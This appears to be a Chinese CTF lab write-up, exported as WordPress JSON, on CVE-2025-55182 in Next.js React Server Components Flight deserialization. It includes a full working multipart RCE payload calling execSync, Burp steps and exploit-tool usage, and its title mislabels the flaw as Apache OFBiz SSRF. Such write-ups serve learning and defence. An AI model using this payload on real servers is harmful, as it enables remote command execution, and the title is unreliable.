{"id":2362,"date":"2026-08-13T15:53:51","date_gmt":"2026-08-13T07:53:51","guid":{"rendered":"https:\/\/shr1mp.top\/?p=2362"},"modified":"2026-08-13T16:23:08","modified_gmt":"2026-08-13T08:23:08","slug":"cve-2025-55182","status":"publish","type":"post","link":"https:\/\/shr1mp.top\/index.php\/2026\/08\/13\/cve-2025-55182\/","title":{"rendered":"\u3010\u6625\u79cb\u4e91\u5883\u3011CVE-2025-55182 Apache OFBiz SSRF\u4e0e\u8fdc\u7a0b\u547d\u4ee4\u6267\u884c\u6f0f\u6d1e"},"content":{"rendered":"\n

https:\/\/github.com\/AsadAhmad-1337\/React-2-Shell<\/a><\/p>\n\n\n\n

\n

\u7b2c\u4e00\u6b21\u6253\u6e17\u900f\uff0c\u8fd9\u4e2aCVE\u7b80\u5355\u6765\u8bf4\u5c31\u662fflight\u53cd\u5e8f\u5217\u5316$0\u672c\u6765\u4e0d\u662f\u5ba2\u6237\u7aef\u63d0\u4f9b\u7684\u4e1c\u897f\uff0c\u901a\u8fc7\u6784\u9020\u8fd9\u4e2a0\u7684Chunk\u6765\u8fdb\u884c\u5168\u5c40\u7c7b\u7684\u6539\u53d8\u4ece\u800c\u5b9e\u73b0\u8d8a\u6743<\/p>\n\n\n\n

\"\"\/<\/div><\/figure>\n<\/blockquote>\n\n\n\n

\u8fc7\u7a0b<\/h2>\n\n\n\n

1\u3001\u4fa6\u5bdf\u67b6\u6784<\/h3>\n\n\n\n

CVE-2025-55182 \u6253\u7684\u6b63\u662f Next.js \u7684 RSC \u7ec4\u4ef6<\/p>\n\n\n\n

\n
\"\"\/<\/div><\/figure>\n<\/blockquote>\n\n\n\n

2\uff1a\u7406\u89e3 RSC \u7684 Flight \u534f\u8bae<\/h3>\n\n\n\n
\"\"\/<\/div><\/figure>\n\n\n\n
\"\"\/<\/div><\/figure>\n\n\n\n

\u9875\u9762\u5e95\u90e8\u6709\u4e00\u5927\u6bb5 self.__next_f.push(\u2026)\uff0c\u8fd9\u662f\u670d\u52a1\u5668\u53d1\u7ed9\u6d4f\u89c8\u5668\u7684 Flight \u6570\u636e\uff0c\u6bd4\u5982\uff1a<\/p>\n\n\n\n

1:”$Sreact.fragment” \u2190 $S = Symbol \u5f15\u7528
3:I[31637,[],””] \u2190 I = Import \u5f15\u7528\uff08\u5ba2\u6237\u7aef\u7ec4\u4ef6\uff09<\/p>\n\n\n\n

\u539f\u7406<\/h3>\n\n\n\n

RSC \u628a\u670d\u52a1\u7aef JS \u5bf9\u8c61\u62c6\u6210\u4e00\u5806\u5e26\u7f16\u53f7\u7684 chunk\uff0c\u6bcf\u4e2a\u7528\u7c7b\u578b\u6807\u8bb0\u5f00\u5934\uff08$S\/I\/$L\/$Q\/$F\/$@\u2026\uff09\u3002<\/p>\n\n\n\n

ServerAction \u7684 POST\u8bf7\u6c42\u4f53\u4e5f\u7528\u540c\u4e00\u5957\u683c\u5f0f\u3002\u670d\u52a1\u5668\u6536\u5230\u540e\u6309\u5f15\u7528\u53cd\u5e8f\u5217\u5316<\/p>\n\n\n\n

\u2014\u2014\u6f0f\u6d1e\u5c31\u5728\u8fd9\u4e2a\u53cd\u5e8f\u5217\u5316\u5668\u592a\u4fe1\u4efb\u8f93\u5165\uff1a<\/p>\n\n\n\n

\u4f60\u7ed9\u5b83\u4e00\u4e2a$1:proto<\/strong>:then\uff0c\u5b83\u5c31\u771f\u53bb\u8bfb Object.prototype.then\uff08\u539f\u578b\u6c61\u67d3\uff09\uff1b\u4f60\u628a _formData.get \u6307\u5230$1:constructor:constructor\uff0c\u5b83\u5c31\u771f\u53bb\u8c03 Function
\u6784\u9020\u5668\u6267\u884c\u4f60\u7684\u5b57\u7b26\u4e32\u3002\u8fd9\u5c31\u662f\u300c\u4e0d\u53ef\u4fe1\u8f93\u5165\u8fdb\u5165\u53cd\u5e8f\u5217\u5316\u300d\u7684\u6559\u79d1\u4e66\u6848\u4f8b\u3002<\/p>\n\n\n\n

\n\n\n\n

\u6784\u9020payload\uff1a<\/h3>\n\n\n\n

\u53d1\u4e00\u4e2a multipart POST\uff0c\u4e09\u4e2a\u5b57\u6bb5 0\u30011\u30012\uff1a<\/p>\n\n\n\n

\u5b57\u6bb5 1 \u548c 2\uff08\u7b80\u5355\uff09\uff1a
name=”1″ \u2192 “$@0” \u2190 \u5f15\u7528\u6807\u8bb0\uff1a\u52a8\u4f5c\u7684\u5f15\u7528\u5728\u7b2c 0 \u6bb5
name=”2″ \u2192 [] \u2190 \u53c2\u6570\u6570\u7ec4\uff08\u7a7a\uff09<\/p>\n\n\n\n

\n\n\n\n

\u5b57\u6bb5 0\uff08\u6838\u5fc3 payload\uff09\uff1a
<\/p>\n\n\n\n

\n

{
“then”: “$1:proto<\/strong>:then”, \/\/ \u2460 \u539f\u578b\u6c61\u67d3 \u2192 \u5f97\u5230 thenable
“status”: “resolved_model”,
“reason”: -1,
“value”: “{\\”then\\”:\\”$B1337\\”}”, \/\/ \u2461 then \u7684\u503c = \u4e00\u4e2a thenable \u5757
“_response”: {
“_prefix”: “var
res=process.mainModule.require(\\”child_process\\”).execSync(\\”whoami\\”).toString();throw
Object.assign(new Error(\\”NEXT_REDIRECT\\”),{digest: \\”NEXT_REDIRECT;push;\/login?a=\\” +
encodeURIComponent(res) + \\”;307;\\”});”,
“_chunks”: “$Q2”,
“_formData”: {“get”: “$1:constructor:constructor”} \/\/ \u2462 \u89e3\u6790\u6210 Function
}
}<\/p>\n<\/blockquote>\n\n\n\n

\n\n\n\n

BurpSuite\u65b9\u6cd5<\/h2>\n\n\n\n

\u7528Burp Suite Repeater<\/p>\n\n\n\n

    \n
  1. \u6d4f\u89c8\u5668\u8d70 Burp \u4ee3\u7406\uff0c\u6b63\u5e38\u8bbf\u95ee https:\/\/\u2026:3000\/install\u3002<\/li>\n\n\n\n
  2. \u5728 HTTP history \u91cc\u627e\u5230\u8fd9\u6761 GET \/install \u2192 \u53f3\u952e Send to Repeater\u3002<\/li>\n\n\n\n
  3. Repeater \u91cc\u628a\u65b9\u6cd5\u6539\u6210 POST\u3002<\/li>\n\n\n\n
  4. Body \u66ff\u6362\u6210 body.bin \u7684\u5185\u5bb9\uff08\u6ce8\u610f\u6bcf\u884c\u7ed3\u5c3e\u5fc5\u987b\u662f \\r\\n\uff0cBurp \u91cc\u7c98\u8d34\u4e00\u822c\u6ca1\u95ee\u9898\uff09\u3002<\/li>\n\n\n\n
  5. \u6539\u8bf7\u6c42\u5934\uff1a\n
      \n
    • Content-Type: multipart\/form-data; boundary=<\/li>\n\n\n\n
    • \u52a0\u4e00\u884c Next-Action: 1<\/li>\n\n\n\n
    • X-Nextjs-Request-Id \/ X-Nextjs-Html-Request-Id \u8bbe\u6210\u4efb\u610f\u503c\uff0c\u4f46\u6bcf\u6b21\u53d1\u9001\u6700\u597d\u6362\u65b0\u7684\uff08\u89c1\u8e29\u5751\uff09\u3002<\/li>\n\n\n\n
    • User-Agent \u4fdd\u6301\u6d4f\u89c8\u5668\u7684\u5b8c\u6574\u7248\u3002<\/li>\n<\/ul>\n<\/li>\n\n\n\n
    • \u70b9 Send\uff0c\u770b\u54cd\u5e94\u5934\u3002 <\/li>\n<\/ol>\n\n\n\n
      \n\n\n\n
      \n

      Content-Length: 725<\/p>\n<\/blockquote>\n\n\n\n

      \n

      ——WebKitFormBoundaryd59669b181bb5640
      Content-Disposition: form-data; name=”0″<\/p>\n\n\n\n

      {“then”:”$1:proto<\/strong>:then”,”status”:”resolved_model”,”reason”:-1,”value”:”{\\”then\\”:\\”$B1337\\”}”,”_res
      ponse”:{“_prefix”:”var res=process.mainModule.require(\\”child_process\\”).execSync(\\”cat
      \/flag\\”).toString();throw Object.assign(new Error(\\”NEXT_REDIRECT\\”),{digest:
      \\”NEXT_REDIRECT;push;\/login?a=\\” + encodeURIComponent(res) +
      \\”;307;\\”});”,”_chunks”:”$Q2″,”_formData”:{“get”:”$1:constructor:constructor”}}}
      ——WebKitFormBoundaryd59669b181bb5640
      Content-Disposition: form-data; name=”1″<\/p>\n\n\n\n

      “$@0”
      ——WebKitFormBoundaryd59669b181bb5640
      Content-Disposition: form-data; name=”2″<\/p>\n\n\n\n

      []
      ——WebKitFormBoundaryd59669b181bb5640–<\/p>\n\n\n\n

      \u64cd\u4f5c\u547d\u4ee4\u6539\u5728execSync\u91cc<\/p>\n\n\n\n

      \n\n\n\n

      <\/p>\n<\/blockquote>\n\n\n\n

      Github\u9879\u76ee\u65b9\u6cd5<\/h2>\n\n\n\n

      \u8be5GITHUB\u9879\u76ee\uff1apython react-2-shell-ultimate.py -t <URL> -c “\u547d\u4ee4”<\/p>\n\n\n\n

      \u4e0b\u9762\u7528\u8fd9\u4e2a\u9879\u76ee\u8fdb\u884c\u64cd\u4f5c\uff1a<\/p>\n\n\n\n

      \n

      whoami\u786e\u5b9a\u6743\u9650<\/p>\n<\/blockquote>\n\n\n\n

      \"\"\/<\/div><\/figure>\n\n\n\n

      ls \/\u67e5\u770b\u6839\u76ee\u5f55<\/p>\n\n\n\n

      \"\"\/<\/div><\/figure>\n\n\n\n

      cat \/flag\u8bfb\u53d6flag<\/p>\n\n\n\n

      \"\"\/<\/div><\/figure>\n\n\n\n

      \u5e95\u5c42\u903b\u8f91<\/h2>\n\n\n\n

      \u5229\u7528\u94fe\uff08\u6309\u5e8f\uff09\uff1a<\/p>\n\n\n\n

      \u6784\u9020 multipart POST
      \u2502
      \u25bc
      Next.js \u6536\u5230 Server Action \u8bf7\u6c42\uff08Next-Action \u5934\uff09
      \u2502
      \u25bc
      Flight \u53cd\u5e8f\u5217\u5316 \u2192 \u5f15\u7528 “$1:proto<\/strong>:then” \u2192 \u539f\u578b\u6c61\u67d3\u51fa thenable
      \u2502
      \u25bc
      thenable \u56de\u8c03 \u2192 _formData.get = Function \u2192 \u6267\u884c _prefix \u4ee3\u7801
      \u2502
      \u25bc
      \u4ee3\u7801\u8dd1 child_process.execSync(\u547d\u4ee4) \u62ff\u5230\u8f93\u51fa
      \u2502
      \u25bc
      \u6545\u610f\u629b\u9519\uff0c\u8f93\u51fa\u585e\u8fdb error.digest\uff08NEXT_REDIRECT \u683c\u5f0f\uff09
      \u2502
      \u25bc
      Next.js \u6309\u91cd\u5b9a\u5411\u5904\u7406 \u2192 303 + Location\/x-action-redirect \u5934\u5e26\u56de\u8f93\u51fa<\/p>\n\n\n\n

      \n\n\n\n

      <\/p>\n\n\n\n

      \u7b80\u5355\u7684\u7b54\u7591\uff1a<\/h2>\n\n\n\n
        \n
      • Object.prototype \u662f\u4ec0\u4e48\uff1f<\/li>\n<\/ul>\n\n\n\n
        \n

        JS \u91cc\u51e0\u4e4e\u6240\u6709\u5bf9\u8c61\u90fd\u7ee7\u627f\u81ea\u4e00\u4e2a\u516c\u5171\u7956\u5148\u53ebObject.prototype\u3002<\/p>\n\n\n\n

        \u6302\u5728\u8fd9\u4e2a\u5bf9\u8c61\u4e0a\u7684\u5c5e\u6027\uff0c\u6240\u6709\u5bf9\u8c61\u90fd\u80fd\u8bbf\u95ee\u5230\uff08\u9664\u975e\u81ea\u5df1\u8986\u76d6\uff09\uff1a<\/p>\n\n\n\n

        ({}).toString; \u5b58\u5728\u2014\u2014\u7ee7\u627f\u81ea Object.prototype
        ({}).hasOwnProperty \u5b58\u5728\u2014\u2014\u540c\u6837\u7ee7\u627f\u6765\u7684
        ({}).then undefined \u2014\u2014 \u6b63\u5e38\u60c5\u51b5\u4e0b Object.prototype \u4e0a\u6839\u672c\u6ca1\u6709 then<\/p>\n<\/blockquote>\n\n\n\n

          \n
        • then \u662f\u4ec0\u4e48\uff1f<\/li>\n<\/ul>\n\n\n\n
          \n
          \n

          JS \u91cc\u5982\u679c\u4e00\u4e2a\u5bf9\u8c61\u5e26 then \u65b9\u6cd5\uff0c\u5b83\u5c31\u53eb thenable\uff0c\u53ef\u4ee5\u88ab\u5f53 Promise \u7528\uff1a<\/p>\n\n\n\n

          const t = { then(fn) { fn(42); } };
          await t; \/\/ \u4f1a\u8c03\u7528 t.then\uff0c\u628a 42 \u4f5c\u4e3a\u7ed3\u679c
          Promise.resolve(t); \/\/ \u540c\u7406\uff0c\u68c0\u67e5\u5230 .then \u5c31\u8c03\u7528\u5b83<\/p>\n\n\n\n

          \u5173\u952e\u70b9\uff1a\u6846\u67b6\u4ee3\u7801\u91cc\u5230\u5904\u90fd\u5728\u9690\u5f0f\u68c0\u67e5\u548c\u8c03\u7528.then\uff08await\u3001Promise.resolve\u3001\u5404\u79cd\u5f02\u6b65\u6d41\u7a0b\uff09\u3002\u4f60\u6b63\u5e38\u5199\u7684\u4e1a\u52a1\u4ee3\u7801\u4e0d\u4f1a\u4e3b\u52a8\u53bb\u8c03 {}.then\uff0c\u4f46 JS\u5f15\u64ce\u548c\u6846\u67b6\u7684\u5f02\u6b65\u673a\u5236\u4f1a\u3002<\/p>\n<\/blockquote>\n<\/blockquote>\n\n\n\n

          \u539f\u578b\u6c61\u67d3 \u5982\u679c\u80fd\u6539 Object.prototype \u4e0a\u7684\u5c5e\u6027\uff0c\u5c31\u7b49\u4e8e\u7ed9\u4e16\u754c\u4e0a\u6240\u6709\u5bf9\u8c61\uff08\u5305\u62ec\u4ee5\u540e\u65b0\u521b\u5efa\u7684\uff09\u90fd\u52a0\u4e86\/\u6539\u4e86\u8fd9\u4e2a\u5c5e\u6027\uff1a<\/p>\n\n\n\n

          Object.prototype.then = function() { console.log(“hacked”); }; ({}).then; \/\/ \u73b0\u5728\u80fd\u8bbf\u95ee\u5230\u4e86 \u2192 \u6240\u6709\u5bf9\u8c61\u90fd\u6210\u4e86 thenablePromise.resolve({}); \/\/ \u5f15\u64ce\u53d1\u73b0\u5b83\u6709 .then \u2192 \u81ea\u52a8\u8c03\u7528 \u2192 \u6253\u5370 hacked \u8fd9\u53eb\u539f\u578b\u6c61\u67d3\uff1a\u53ea\u6539\u4e00\u5904\uff0c\u5f71\u54cd\u5168\u5c40\u3002<\/p>\n\n\n\n

          \"\"\/<\/div><\/figure>\n\n\n\n

          \u4e3a\u4f55\u53ea\u6709flight\u53cd\u5e8f\u5217\u5316\u53ef\u8d8a\u6743\uff1f<\/p>\n\n\n\n

          Flight \u6570\u636e\u6709\u4e24\u6761\u6d41\u5411<\/p>\n\n\n\n

          React \u7684 Flight \u534f\u8bae\u7ba1\u4e24\u79cd\u901a\u4fe1\uff1a<\/p>\n\n\n\n

          \u670d\u52a1\u7aef \u2500\u2500\u6e32\u67d3\u6570\u636e\u2500\u2500\u25b6 \u6d4f\u89c8\u5668 \uff08HTML \u91cc\u5d4c\u7684 _next_f.push\uff0c\u53ea”\u5e8f\u5217\u5316\u8f93\u51fa”\uff09
          \u6d4f\u89c8\u5668 \u2500\u2500Server Action\u2500\u2500\u25b6 \u670d\u52a1\u7aef \uff08POST \u8bf7\u6c42\u4f53\uff0c\u9700\u8981”\u53cd\u5e8f\u5217\u5316”\u91cd\u5efa\u53c2\u6570\u5bf9\u8c61\uff09<\/p>\n\n\n\n

          \u53ea\u6709\u7b2c\u4e8c\u6761\u6d41\u5411\u4f1a\u8ba9\u670d\u52a1\u7aef\u53bb\u300c\u53cd\u5e8f\u5217\u5316\u300d\u653b\u51fb\u8005\u53ef\u63a7\u7684 Flight \u6570\u636e\u2014\u2014\u5b83\u8981\u628a\u8bf7\u6c42\u4f53\u91cc\u7684\u5f15\u7528\u3001chunk\u91cd\u5efa\u56de\u771f\u5b9e\u7684 JS \u5bf9\u8c61\u3002\u8fd9\u4e2a\u53cd\u5e8f\u5217\u5316\u8fc7\u7a0b\u5c31\u662f\u653b\u51fb\u5165\u53e3\u3002<\/p>\n\n\n\n

          <\/p>\n","protected":false},"excerpt":{"rendered":"

          https:\/\/github.com\/AsadAhmad-1337\/React-2-Shell \u8fc7\u7a0b 1\u3001\u4fa6\u5bdf […]<\/p>\n","protected":false},"author":1,"featured_media":995,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_gspb_post_css":"","footnotes":""},"categories":[25],"tags":[],"class_list":["post-2362","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-25"],"_links":{"self":[{"href":"https:\/\/shr1mp.top\/index.php\/wp-json\/wp\/v2\/posts\/2362","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/shr1mp.top\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/shr1mp.top\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/shr1mp.top\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/shr1mp.top\/index.php\/wp-json\/wp\/v2\/comments?post=2362"}],"version-history":[{"count":25,"href":"https:\/\/shr1mp.top\/index.php\/wp-json\/wp\/v2\/posts\/2362\/revisions"}],"predecessor-version":[{"id":2391,"href":"https:\/\/shr1mp.top\/index.php\/wp-json\/wp\/v2\/posts\/2362\/revisions\/2391"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/shr1mp.top\/index.php\/wp-json\/wp\/v2\/media\/995"}],"wp:attachment":[{"href":"https:\/\/shr1mp.top\/index.php\/wp-json\/wp\/v2\/media?parent=2362"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/shr1mp.top\/index.php\/wp-json\/wp\/v2\/categories?post=2362"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/shr1mp.top\/index.php\/wp-json\/wp\/v2\/tags?post=2362"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}